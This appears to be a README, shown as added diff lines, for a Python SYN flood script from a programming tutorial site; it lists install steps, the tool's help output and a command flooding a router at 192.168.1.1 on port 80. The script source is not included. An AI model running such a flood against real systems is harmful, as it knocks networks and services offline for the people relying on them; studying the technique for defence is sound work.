+# [How to Make a SYN Flooding Attack in Python](https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- Run help:
+    ```
+    python syn_flood.py --help
+    ```
+    **Output:**
+    ```
+    usage: syn_flood.py [-h] [-p PORT] target_ip
+
+    Simple SYN Flood Script
+
+    positional arguments:
+    target_ip             Target IP address (e.g router's IP)
+
+    optional arguments:
+    -h, --help            show this help message and exit
+    -p PORT, --port PORT  Destination port (the port of the target's machine
+                            service, e.g 80 for HTTP, 22 for SSH and so on).
+    ```
+- To run this against your router's web interface that has the IP address of 192.168.1.1:
+    ```
+    python syn_flood.py -p 80 192.168.1.1
+    ```
